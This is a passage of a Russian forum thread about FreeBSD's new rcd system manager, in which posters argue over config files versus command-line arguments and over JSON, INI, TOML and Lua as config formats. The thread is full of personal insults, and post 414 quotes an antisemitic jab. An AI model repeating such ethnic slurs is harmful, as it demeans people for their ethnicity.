	>> Ну я - через systemd unit, вы - можете и через run.sh - никто ж не возражает. > Так вопрос как раз в том, зачем мне нужны эти аргументы командной > строки, если я могу описать их в файле, аля конфиге, и > случай как раз таки с systemd unit, run.sh, ничем не отличается > от того, что я предлагаю - отказаться от аргументов командной строки > и использовать банальный конфиг! Можете. Убедиться в том, что программа исполняется вот именно с этой конфигурацией - уже несколько сложнее. Ну вот банально - какая из стандартных библиотек по работе с конфигурациями поддерживает сохранение рантайм-конфигурации в config.lock? Что будет при работе нескольких реплик? >> А вот как вы определяете, с какой реальной конфигурацией запущен сервис - мне интересно. > Всегда можно хранить config.lock, либо при запуске писать в лог файл конфиг > используемый при старте, нормальная практика. И перечитка, перезапуск без кила, тоже > давно придуман. И это тоже правда - запись в лог использую (Правда через пару месяцев - удачи его найти), отдельный метод в вебне для получения runtime config из файла делаю. Я не говорю, что это "самое лучшее" и максимально универсальное решение. Просто... самое простое.
	Ответить | Правка | К родителю #285 | Наверх | Cообщить модератору

	359. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (326), 12-Сен-26, 22:26
	> Ну вот банально - какая из стандартных библиотек по работе с конфигурациями поддерживает сохранение рантайм-конфигурации в config.lock? Это не задача парсера конфига, это приложение само должно реализовывать. > Что будет при работе нескольких реплик? Реплики чего? Копия программы? Все зависит от требований, нужно на каждый запущенный экземпляр создавать config.lock? - Создавай в чем проблема? Process id есть, всегда можно понять и по логам или по файлу config.pid.lock понять. Не вижу проблемы. > И это тоже правда - запись в лог использую (Правда через пару месяцев - удачи его найти) :) смешной, так реализуйте нормально, в чем проблема? Логи ваши сротируются? Так пиши в отдельный конфиг лог, в чем проблема? Я проблемы не вижу, если стоит задача определять конфиг запущенного приложения - сохраняй этот конфиг после запуска и все. Как хранишь, что хранишь, сколько времени хранишь - это дело второстепенное, и зависит от задач, а не от моего ответа как это делать. > отдельный метод в вебне для получения runtime config из файла делаю. Ага еще и телеграм бота прикрути и будет вообще веб-2.0 :) ваше дело, ваше право, как и указал выше. И это все решаемо и проблем я не вижу!
	Ответить | Правка | К родителю #338 | Наверх | Cообщить модератору

	363. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 12-Сен-26, 22:43
	> Ага еще и телеграм бота прикрути и будет вообще веб-2.0 :) ваше дело, ваше право, как и указал выше. И это все решаемо и проблем я не вижу! Так это по тому, что их нет :). Хотите - всей Вилларибо пишите кастомную библиотеку для вот этого вот всего и обмазывайте инфраструктурой отдельные логи - никто ж не запрещает. В Виллабаджо вот обошлись (любой) стандартной библиотекой для cli.
	Ответить | Правка | К родителю #359 | Наверх | Cообщить модератору

	367. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (326), 13-Сен-26, 00:37
	> вот обошлись на все готовое всяк горазд, только вот это плохая тенденция, еще с начал самого совка, ничего своего!!!
	Ответить | Правка | К родителю #363 | Наверх | Cообщить модератору

	387. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 13-Сен-26, 06:59
	Не-не-не. "Улучшать мир" устраивая "восход солнца вручную" - это без меня. Мне в общем-то за строго обратное платят.
	Ответить | Правка | К родителю #367 | Наверх | Cообщить модератору

	414. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 13-Сен-26, 15:09
	>> Не-не-не. > продолжай симулировать деятельность, а лучше займись своей древней профессией, ты же из > того самого богоизбранного древнего народа, там лучше платят. Не, за "попирание копытами вселенной" лет уже эдак 600 не платят, так что я - с вашего позволения или без оного - продолжу заниматься тем, чем занимаюсь.. А вы там давайте, продолжайте - солнце еще высоко, само себя не закатит...
	Ответить | Правка | Наверх | Cообщить модератору

	75. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (75), 10-Сен-26, 16:29
	> за конфиги на json есть отдельный котел в аду А за свой нескучный NIH формат там тоже отдельный котел? Один на всех, или на каждый формат отдельный, лол?
	Ответить | Правка | К родителю #53 | Наверх | Cообщить модератору

	103. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от User (??), 10-Сен-26, 21:12
	Есть два стула - на одном конфигурация без комментариев, другой ни с чем и никак не совместим - на какой сам сядешь, на какой bsd посадишь?
	Ответить | Правка | Наверх | Cообщить модератору

	193. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 11:51
	> Есть два стула - на одном конфигурация без комментариев, Это про что? Реестр вашей винды чтоли? А то у Systemd таки можно - коментарии :). Да, без коментов в реестре - тяжко. > другой ни с чем и никак не совместим - на какой сам сядешь, на > какой bsd посадишь? Да вы оба обсидите - и реестр виндовый, и вон то небось. Мазохизм - это как-то так.
	Ответить | Правка | Наверх | Cообщить модератору

	202. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 12:13
	>> Есть два стула - на одном конфигурация без комментариев, > Это про что? Реестр вашей винды чтоли? А то у Systemd таки > можно - коментарии :). Да, без коментов в реестре - тяжко. Ооооу. Про существование json'а вы не в курсе?
	Ответить | Правка | Наверх | Cообщить модератору

	231. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 15:43
	>>> Есть два стула - на одном конфигурация без комментариев, >> Это про что? Реестр вашей винды чтоли? А то у Systemd таки >> можно - коментарии :). Да, без коментов в реестре - тяжко. > Ооооу. Про существование json'а вы не в курсе? Я в курсе про то что JSON - позволяет довольно дохрена всего - включая вложенные конструкции, массивы и проч. И что поэтому его в результате от и до, 100% корректно - не парсит приблизительно никто. Ну может кроме самого JS в браузере. А в s-d таки - внезапно - можно коменты. Вот прям в "ini-like" формате. Представляете? Без всей этой адовой оверинженерии. Потому что если условный Васян завернет каких-нибудь пятиэтажных составных объектов - вы, таки, немного очешуеете...
	Ответить | Правка | Наверх | Cообщить модератору

	234. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 15:53
	Оу. Т.е. про JSON вы первый раз услышали, и еще про парсеры еще не загуглили, да? Ох, что ж за день-то такой? Может я один в пятницу трезвый?? Один вот закон квадрата-куба "анизотропностью объекта" нарушает, другой - на ноль делит и ноль получает, третий вот весь день спрашивает, почему проект, целью которого является создание СОВМЕСТИМОГО решения не выбрал вот решение НЕСОВМЕСТИМОЕ, которое ему больше нравится... Этот вот про невдолбенную сложность JSON, которая никак-никак валидный парсер создать не позволяет чушь несёт... И ведь сентябрь уже на дворе, не август! Беда прям какая-то.
	Ответить | Правка | Наверх | Cообщить модератору

	244. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 16:18
	> Оу. Т.е. про JSON вы первый раз услышали, и еще про парсеры > еще не загуглили, да? Какой вы умный! Только вот я в отличие от вас - умею * Писать программы. * Парсить это добро. И XML и JSON. * И даже от ремот. * И даже относительно секурно. Но даже так - порой можно поймать какой-то странной фигни. Поэтому - я догадываюсь об уровне сложности задачи - и граблях в процессе. Это идет чуть дальше чем надувание щек на форуме с умным видом :) Самое плохое что там есть - надо быть готовым к произвольной структуре, произвольного размера, произвольного уровня вложенности и сложности. Ну такое себе, если честно. Особенно - для конфигов. Тем более что сие и для админа тоже актуально. > Ох, что ж за день-то такой? Может я один в пятницу трезвый?? Это вам не сильно помогает. Сходите на сайт с iq-тестами, устройте себе чекап. Я и так знаю что он покажет, можете не рассказывать. > которого является создание СОВМЕСТИМОГО решения не выбрал вот решение НЕСОВМЕСТИМОЕ, Совместимость - это прекрасно, но только до определенной точки. Как там с поилками для лошадей на АЗС? Инстальнули? Для совместимости же. > ему больше нравится... Этот вот про невдолбенную сложность JSON, которая никак-никак > валидный парсер создать не позволяет чушь несёт... И тем не менее - по сравнению с ini простым как дрова - сие просто разные миры. Парсить ini - тривиальнее некуда. А вон то, в произвольно взятом виде... > И ведь сентябрь уже на дворе, не август! Беда прям какая-то. Да вам совет с чекапом - актуален круглый год... чтоб трезвей на вещи смотреть. А то вроде и трезвый - но от реалий оторван круче иного пропойцы.
	Ответить | Правка | Наверх | Cообщить модератору

	249. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 16:45
	Да-да, конечно... мы видим, да-да...
	Ответить | Правка | Наверх | Cообщить модератору

	256. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 17:28
	> Да-да, конечно... мы видим, да-да... Очень сомневаюсь что вы когда либо писали парсер XML или JSON. Наверное именно пожтому вы... 1) Превозносите эти форматы. 2) Не догоняете что не так с их парсингом. А приколитесь и попробуйте таки - написать парсинг этого. Можете даже используя готовые либы, я добрый.
	Ответить | Правка | Наверх | Cообщить модератору

	260. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 17:57
	Ох, да не закапывай ты себя еще больше-то, употребляя в контексте парсеров json и xml в одном предложении, а? Парсер json все студенты, учившиеся после его появления писали - и большинство из них вот справилось (Даже те, что из кулинарного техникума). decoder.py из стандартной библиотеки 300 строчек - а ты плачешься, что "сложьна!" и рассказываешь, что только вот такой гуру мог бы - если бы захотел, но он не хочет... Ну оподливился в очередной раз - отоди на подветренную сторону, обсохни - а потом возвращайся за новыми победами, глядишь да и забудет кто.
	Ответить | Правка | Наверх | Cообщить модератору

	307. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 12-Сен-26, 01:44
	> Ох, да не закапывай ты себя еще больше-то, употребляя в контексте парсеров > json и xml в одном предложении, а? У них кое-что общее. И то и другое позволяет городить довольно сложные структуры - заметно отличающиеся от ожиданий програмера. На чем они таки - налетают. XML конечно ужаснее, но JSON тоже - фигня та еще. Он не удобен в парсинге машине, читаемость человеком у него тоже лишь маргинально лучше XML и зависит от форматирования. А вот ini синтаксис - особо не изгадишь. И стен текста или сложных структур там не практикуется. В чем фича и состоит: конфигурация проста и прозрачна. Реестр в принципе тоже как-то так же, просто параметров там - зело уж дохрена и они не документированы, а все это в целом очень уж похоже - на параллельный ФС, который типа не ФС, но типа почти ФС. > Парсер json все студенты, учившиеся после его появления писали - Это не означает сколь-нибудь валидную реакцию программы на произвольный json. > 300 строчек - а ты плачешься, что "сложьна!" и рассказываешь, что > только вот такой гуру мог бы - если бы захотел, но он не хочет... А софт на питоне вообще - склонен делать адскую дичь налетев на нежданчик. > Ну оподливился в очередной раз Клиенту Accenture не привыкать. Удивительно было бы если б вы не продвигали очередное оверинженернутое г-но явно избыточное для этой задачи.
	Ответить | Правка | К родителю #260 | Наверх | Cообщить модератору

	342. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 12-Сен-26, 16:17
	> но JSON тоже - фигня та еще. Он не удобен в парсинге машине, Оу. А вы точно... ну... IT'шник? НАСТОЛЬКО не иметь представление о json'е в последние эдак 20 лет можно вот разве что работнику Яндекса: таксисту или курьеру, в смысле. > А вот ini синтаксис - особо не изгадишь. И стен текста или сложных структур там не практикуется. В чем фича и состоит: конфигурация проста и прозрачна. Ну, если бы вы имели хоть какое-то представление о предмете обсуждения, то знали бы, что сколько-нибудь хороший ini-парсер _сложнее_ парсера json и даже наверное догадывались бы, "почему". Но вы ээээ... юзер одного единственного решения, не имеющий ни малейшего представления о формате, который он использует и о связанной с этим форматом... специфике. > Это не означает сколь-нибудь валидную реакцию программы на произвольный json. Ну, если бы вы имели хоть какое-то представление о предмете обсуждения, то знали бы - что это не задача парсера. А если бы решали хоть какие-то задачи с практическим применением, то наверное слышали бы что-нибудь про схемы данных хотя бы краем уха...
	Ответить | Правка | К родителю #307 | Наверх | Cообщить модератору

	416. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (416), 13-Сен-26, 15:33
	>> но JSON тоже - фигня та еще. Он не удобен в парсинге машине, > Оу. А вы точно... ну... IT'шник? НАСТОЛЬКО не иметь представление о json'е > в последние эдак 20 лет можно вот разве что работнику Яндекса: > таксисту или курьеру, в смысле. Я таки в отличие от вас в курсе как работают процессоры. И ничего удобного именно процессорам - в JSON нет. Даже числа представлены в формате который в удобоваримое процом представление - надо еще явно конвертировать. С другий стороны, человеку неудобно uint32 с конкретной endianess побитово оформлять. Виндовый реестр как я понимаю - даже такое частично решил, но все равно с точки зрения удобства администрирования - такое себе получилось. Большая свалка без коментов что и где. > Ну, если бы вы имели хоть какое-то представление о предмете обсуждения, то > знали бы, что сколько-нибудь хороший ini-парсер _сложнее_ парсера json Чувак, я на минималках написал свой парсер ini. Да, он простой и имеет ограничения. Зато написан за считанные минуты. И свою задачу решает. А парсер json - это вообще совсем иной уровень сложности. В ini надо по большому счету концептуально 3 вещи: 1) Ловиить ключ. 2) Ловить их значения. 3) Если это секционированный вариант, трекать в какой мы секции сейчас. Это настолько дубово что даже машиной состояний толком называть - слишком громко. А при всех непонятках можно скипать неизвестное и/или громко ругаться, при том это сразу хайлайтит проблемную строку и человек легко разбирается. А полноценный жысон это произвольная смесь довольно большого количества форматов данных с сложной структурой, потенциально вложенных, с массивами и проч. Многократно более сложная конструкция с многократно более сложным парсингом и трекингом состояний - если пытаться именно generic парсинг всего что может формат а не куцего subset. А как именно его форматировать - отдельный вопрос и поэтому даже просто показать двуногому где там парсинг загнулся в именно _произвольном_ json даденом снаружи - удачи! > не имеющий ни малейшего представления о формате, который он использует и > о связанной с этим форматом... специфике. Я таки малость имею. И именно поэтому догадываюсь во сколко раз проше написать минимальный парсер ini. Потому что я это еще и делал. > Ну, если бы вы имели хоть какое-то представление о предмете обсуждения, Агрессивные невежды очень любят - проецировать свои проблемы на других. Жаль что им не рассказали что это так не работает.
	Ответить | Правка | К родителю #342 | Наверх | Cообщить модератору

	418. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 13-Сен-26, 15:50
	> Я таки в отличие от вас в курсе как работают процессоры. "Верь мне! Я знаю ИНТЕРНЕТ!!!" Вот уже до удобства-для-CPU в анализе текстового (Текстового, Карл!!!) формата докопалися. Беру слова насчет "таксиста" обратно - там таких не берут. Я б и самокат не доверил, так-то. > Чувак, я на минималках написал свой парсер ini. Верю. Вот прям с CPU-оптимизациями, не то, что в этом вот, да-да. В том, что полная, фантастически никому, низачем и ни для чего ненужная и не с чем, кроме самописькиного "диалехта" не совместимая фигня вышла - сомнений нет. > А полноценный жысон это произвольная смесь довольно большого количества форматов данных с сложной структурой, потенциально вложенных, с массивами и проч. Чиииво? Чиииво, ъ?! Какого "большого количества форматов"? Ты там что, все еще не протрезвел? > Я таки малость имею Несите микроскоп! Да не тот, электронный! О. Ну, слово "парсер" - знает, в том, что понимает его смысл - сомнения. Как-то не разглядывается, да.
	Ответить | Правка | К родителю #416 | Наверх | Cообщить модератору

	449. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 14-Сен-26, 00:27
	> "Верь мне! Я знаю ИНТЕРНЕТ!!!" > Вот уже до удобства-для-CPU в анализе текстового (Текстового, Карл!!!) > формата докопалися. Не просто - текстового. Но еще и с кучей закорючек, которые надо ловить, которые засоряют поле зрения - и потенциально навороченной структурой данных. Вложенной. И с массивами. В этом смысле в ini парсинг явно проще. На минималках - СИЛЬНО проще! И visual clutter - меньше. > Беру слова насчет "таксиста" обратно - там таких не берут. Я > б и самокат не доверил, так-то. Прикольные проекции. Но на мой вкус вы там можете в жысоне колупаться с луа напополам - а я ини в sd поюзаю. Не вижу минусов :) >> Чувак, я на минималках написал свой парсер ini. > Верю. Вот прям с CPU-оптимизациями, не то, что в этом вот, да-да. Нет. Зато он 1) Good enough. 2) Влезает на 1 экран. 3) Не требует либ, рантаймов, динамически типизируемых структур постороннего яп и проч. 4) Мне не надо морочаться что делать с навороченными структурами foreign языка с его пониманием как и что должно быть, как-то обрабатывать какие там еще массивы и вложенность. 5) Просто сделать "железобетонным" и либо валить с ошибкой если ключ или значение не распарсили или скипать, как предпочтительнее. 6) Человекочитаемость XML и JSON - не гарантирована. Удачи в чтении оных в минимизированном виде 1 строкой на 50 экранов. Номинально же сие остается валидно - и можно на это нарваться. Я как раз люблю ini/cfg за простой синтаксис с минимумом clutter, гарантированное отсутствие сложных структур и наличие человекочитаемости, коли уж оно для интерфейса с человеком. > В том, что полная, фантастически никому, низачем и ни для чего ненужная > и не с чем, кроме самописькиного "диалехта" не совместимая фигня вышла > - сомнений нет. Это обычный ini как у всех, его любой может - by example. Это простейщий ключ-значение. И это как раз для того чтобы человек информировал программу что он от нее хочет. Никакой иной "совместимости" не подразумевается. By design. И тем более нахрен там навороченные объекты с вложенностью и массивами - вот уж "счастье". Сразу все в разы сложнее. > Чиииво? Чиииво, ъ?! Какого "большого количества форматов"? Ты там что, все еще > не протрезвел? Вот такого. Там возможны - массивы и вложенные структуры, насколько я помню. Суммарно получается довольно наворочено. Одно дело - линейный список key-value. Другое - вложенное и с массивами. Т.е. по сути array[] of struct - при том динамически типизированных. Ну такое себе. > О. Ну, слово "парсер" - знает, в том, что понимает его смысл > - сомнения. Как-то не разглядывается, да. Внезапно - чем компактней код - тем он лучше. А оверинженерия отстой. Особенно в системщине. Но я совсем не возражаю чтою вам там выгрузили lua + json в BSD. Главное чтоб все это - не у меня.
	Ответить | Правка | К родителю #418 | Наверх | Cообщить модератору

	78. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (78), 10-Сен-26, 16:52
	Но сначала в голову гвоздь забить! Медленно...
	Ответить | Правка | К родителю #53 | Наверх | Cообщить модератору

	92. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от Аноним (92), 10-Сен-26, 20:25
	Выбрал бы конфиги на json, xml, yaml, toml, да хоть ini вместо всего зоопарка несовместимых между собой форматов, которыми так "славится" что бсд, что линукс.
	Ответить | Правка | К родителю #53 | Наверх | Cообщить модератору

	104. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 10-Сен-26, 21:18
	И у каждого, блджд, свои приколы: У json комментарии надо в семантику тащить У xml нормального парсера считай что нет + руками редактировать ээээ... Отвратительно. Yaml хрупкий и с неочевидными граблями У toml нет null/none, что для конфигурации важно (как показать в примере, что параметр _может быть_ но значения по умолчанию у него нет?) Ini... О, он нетипизированный by design, вот. И вложенность умеют не только лишь все...
	Ответить | Правка | Наверх | Cообщить модератору

	119. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 10-Сен-26, 22:04
	А как же LUA в качестве конфигов?
	Ответить | Правка | Наверх | Cообщить модератору

	122. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 10-Сен-26, 22:13
	> А как же LUA в качестве конфигов? Не-не-не, спасибо, нет. Мне openresty на всю жизнь хватило. Неустранимые проблемы с безопасностью, проблемы со статическим анализом (все ошибки в рантайме, лови драный nil через неделю), попытки выродить по определению декларативную конфигурацию насквозь императивным языком, отсутствие вменяемого тулинга (как провалидировать конфигурацию? Подсветка синтаксис, автодополнение в произвольной системе?)... В общем сразу - прямо, и неееемнооожечко направо, да.
	Ответить | Правка | Наверх | Cообщить модератору

	130. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 00:15
	А откуда у вас nil в статическом конфиге взялся? У меня с prosody никаких проблем не было.
	Ответить | Правка | Наверх | Cообщить модератору

	152. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 06:19
	> А откуда у вас nil в статическом конфиге взялся? > У меня с prosody никаких проблем не было. Ээээ... А зачем вообще нужен Lua в принципиально статическим конфиге? Вот чтобы что?
	Ответить | Правка | Наверх | Cообщить модератору

	156. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 07:31
	Язык LUA в качестве парсера не сказать чтобы сильно тяжелее некоторых других парсеров, особенно xml если оно совсем-совсем полноценное типа libxml. Иногда бывает удобно всунуть немного логики в конфиг, например как в том же nginx.
	Ответить | Правка | Наверх | Cообщить модератору

	158. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 09:01
	> Язык LUA в качестве парсера не сказать чтобы сильно тяжелее некоторых других > парсеров, особенно xml если оно совсем-совсем полноценное типа libxml. > Иногда бывает удобно всунуть немного логики в конфиг, например как в том > же nginx. Не, смотри - впихнуть в конфиг lua "для динамики" можно (ну, вопрос безопасности сего отложим) - применили, получили классический статический конфиг, провалидировали - если все ок, запустились. А вот использовать lua как формат конфигурации - уже вот ниочень.
	Ответить | Правка | Наверх | Cообщить модератору

	159. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 09:16
	> Язык LUA в качестве парсера не сказать чтобы сильно тяжелее некоторых других > парсеров, особенно xml если оно совсем-совсем полноценное типа libxml. > Иногда бывает удобно всунуть немного логики в конфиг, например как в том > же nginx. Причём смотри - если мы нормальные люди, а не курильщики, то мы не впихиваем япву общего назначения для конфигурации - мы делаем унифицированный (json) api для работы с ней, выносим всю динамику вовне и вместе с пользователем (который гарантированно безопасно работает с конфигурацией на удобном языке) наслаждаемся результатом. А любители "упрощать" путем всяких import config.py должны страдать (и так же вместе с пользователями) страдают.
	Ответить | Правка | К родителю #156 | Наверх | Cообщить модератору

	185. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 11:38
	Ну я как бы всё равно не очень понял. Читал книжку по LUA и использование LUA для парсинга конфигов которые тоже в формате LUA там в самых первых главах. prosody юзаю - то что там на LUA конфиг и вопрощает эту идею в жизнь - мне никак не мешает жить. json и прочее - сделать можно, но это для взаимодействия через вебморду или API для конфигурации живого процесса. Мне кажется так практичнее.
	Ответить | Правка | Наверх | Cообщить модератору

	208. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 12:54
	> Ну я как бы всё равно не очень понял. > Читал книжку по LUA и использование LUA для парсинга конфигов которые тоже > в формате LUA там в самых первых главах. > prosody юзаю - то что там на LUA конфиг и вопрощает эту > идею в жизнь - мне никак не мешает жить. > json и прочее - сделать можно, но это для взаимодействия через вебморду > или API для конфигурации живого процесса. Мне кажется так практичнее. Блин. Ну, тут прям много писать надо. Конфигурация в общем-то "по определению" декларативная штука, описывающая состояние объекта. lua\json-api в общем-то способы менять это состояние в рантайме\от внешних условий, да? Причем на самом деле требуется это ну сииииильно не всегда, да? А дальше у нас несколько вариантов: 1. Программа на lua --> конфигурация на lua. Никакого барьера, ничего. Единственные джве проблемы - безопасность\сендбоксинг (решается) и "найти программу, написанную на lua" - сложьна! 2. Lua как встраиваемая часть конфигурации. Сама конфигурация вот статична - lua формирует её до передачи в приложение (Т.е. приложение само отвечает за валидацию этой статики) - вот nginx. 3. Lua как "формат конфигурации целиком" в проекте на другом языке. "Статической" конфигурации как таковой нет, есть вот динамически формируемый рантайм - в котором ты собственно и будешь ловить все ошибки со всеми вытекающими. Как будто примерно во всех случаях проще взять любой удобный templating engine для формирования статической конфигурации + API для работы с рантаймом, в тех - повторюсь, не то чтобы однозначно всем-и-всегда нужных случаях.
	Ответить | Правка | Наверх | Cообщить модератору

	290. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 22:45
	Так оно там не рассматривалось как прям динамический конфиг ради динамичности. Оно рассматривалось как замена парсера файлов с настройками, где бонусом можно дописывать логику. Мне вот, для примера, в mpv не хватает возможности немного поскриптовать в конфиге чтобы на разных ОС и железках немного отличались некоторые параметры. Я понимаю что админам и девляпсам хочется проверялку перед заливкой, которая скажет что конфиг говно или конфиг юзабелен, а не ловить потом даунтайм и SLA.
	Ответить | Правка | К родителю #208 | Наверх | Cообщить модератору

	340. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 12-Сен-26, 16:10
	> Так оно там не рассматривалось как прям динамический конфиг ради динамичности. > Оно рассматривалось как замена парсера файлов с настройками, где бонусом можно дописывать > логику. Уф. Как будто экономия на спичках может окупиться только если сама программа на lua, да и то - не факт. > Мне вот, для примера, в mpv не хватает возможности немного поскриптовать в > конфиге чтобы на разных ОС и железках немного отличались некоторые параметры. Нууу... За десктоп скажу не очень много - а за все остальное - ну есть вот внешний шаблонизатор + оркестратор инфраструктуры. Зачем запихивать его возможности в само приложение - мне не ведомо. Нужна тебе динамическая адаптация\генерация - берешь какой-нибудь ansible или что там в инфре сейчас есть - и voila! > Я понимаю что админам и девляпсам хочется проверялку перед заливкой, которая скажет > что конфиг говно или конфиг юзабелен, а не ловить потом даунтайм > и SLA. Ну, в общем да.
	Ответить | Правка | К родителю #290 | Наверх | Cообщить модератору

	259. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 17:43
	> Ну я как бы всё равно не очень понял. > Читал книжку по LUA и использование LUA для парсинга конфигов которые тоже > в формате LUA там в самых первых главах. Читать книги по конфигам... м... удачи вам :). А полиморфные вирусы в эти книги входили? :)
	Ответить | Правка | Наверх | Cообщить модератору

	291. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 22:48
	Нет, можете сами убедится: lua-Lua.Lua.3rd.Edition.Jan.2013.ISBN.859037985X
	Ответить | Правка | К родителю #259 | Наверх | Cообщить модератору

	308. Скрыто модератором	+/–
	Сообщение от Аноним (-), 12-Сен-26, 01:45
	> Нет, можете сами убедится: lua-Lua.Lua.3rd.Edition.Jan.2013.ISBN.859037985X Да нехрен мне твой Lua не уперся. Особенно - в конфигурации, тудыть!
	Ответить | Правка | К родителю #291 | Наверх | Cообщить модератору

	228. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (223), 11-Сен-26, 15:23
	> Иногда бывает удобно всунуть немного логики в конфиг, например как в том же nginx. Помнится как Сысоев говорил "Не программируйте в конфигах!!!", эхххх, ушла эпоха.
	Ответить | Правка | К родителю #156 | Наверх | Cообщить модератору

	233. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 15:47
	>> Иногда бывает удобно всунуть немного логики в конфиг, например как в том же nginx. > Помнится как Сысоев говорил "Не программируйте в конфигах!!!", эхххх, ушла эпоха. Некоторые так с своими sysv портянками и не выучили урок на тему как они за...ли уже своими художествами вперемешку с конфигурацией. Не, реально, ковырять конфигурационные параметры на третьей странице, пополам с кодом - это не круто. Это безобразно. И более того - это и валидировать толком не того, и испортить случайно можно - подтерев лишнего, и вообще.
	Ответить | Правка | Наверх | Cообщить модератору

	293. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 22:58
	Так это боль админов/девляпсов со стороны эксплуатации, которые вынуждены разбиратся со всей фигнёй которую накакакодили другие. На что я могу только ответить: не нравится - идите в разработку и пишите как считаете нужным. Со стороны разработки всё выглядит совсем по другому: вместо жёсткого разделения на тупой вебсервер и мегатонны кода на каком то языке можно докинуть пару строк прямо в конфиг и получить нужный результат не отходя от кассы и не приходя в сознание, раньше чем чай остынет в стакане. А конкретно в случае nginx если оставить конфиги без логики и вытащить всё куда то на ЯП то часть задач которые решались парой строк и не влияли на производительность выльется вообще не понятно во что.
	Ответить | Правка | Наверх | Cообщить модератору

	368. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 13-Сен-26, 00:46
	> Так это боль админов/девляпсов со стороны эксплуатации, которые вынуждены разбиратся со > всей фигнёй которую накакакодили другие. Это боль всех кто как-то занимается эксплуатацией софта. А если ваш софт не для экслуатации - им можно принебречь. > На что я могу только ответить: не нравится - идите в разработку > и пишите как считаете нужным. Я так то - умею в разработку. Но не горю желанием умереть безблагодатным джуном которого заменит AI. Или повторить участь ветеранадминов попертых девопсами. Поэтому мой путь - "продвинутый гибрид/кастомдев", берущий лучшее из разных миров. > пару строк прямо в конфиг и получить нужный результат не отходя > от кассы и не приходя в сознание, раньше чем чай остынет в стакане. Я и гуглобот недавно развлеклись кодингом в таком стиле (зачем - останется моим "confidential proprietary"). В принципе хак был крутейший, но все быстро пришло к логичному финалу: как только захотелось капельку продвинутостей, код в перемешку с конфигурацией стал - обузой, а не помощью. Чудес не бывает, увы, это сносно работает только для совсем простых хотелок. Шаг в сторону - и приходится пожалеть о такой архитектуре и все нахрен переделать нормально. Или убивать море времени и сил на попытки сбить автомобилем вертолет. > А конкретно в случае nginx если оставить конфиги без логики и вытащить > всё куда то на ЯП то часть задач которые решались парой > строк и не влияли на производительность выльется вообще не понятно во что. Да может в те же пару строк. Ну или не пару. Но - декоррелированых. А можно и - вот - получить довольно неочевидный конфиг нжинкса. В котором даже его автор уже без поллитры - напрягается. А остальные увидев ЭТОГО МОНСТРА, который запилил часть логики чуть не аппсервера и хандлера протоколов прям в конфиг - будут страдать ночными кошмарами. Т.е. да, так можно - но совсем не факт что нужно и тем более - много и активно.
	Ответить | Правка | К родителю #293 | Наверх | Cообщить модератору

	292. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 22:53
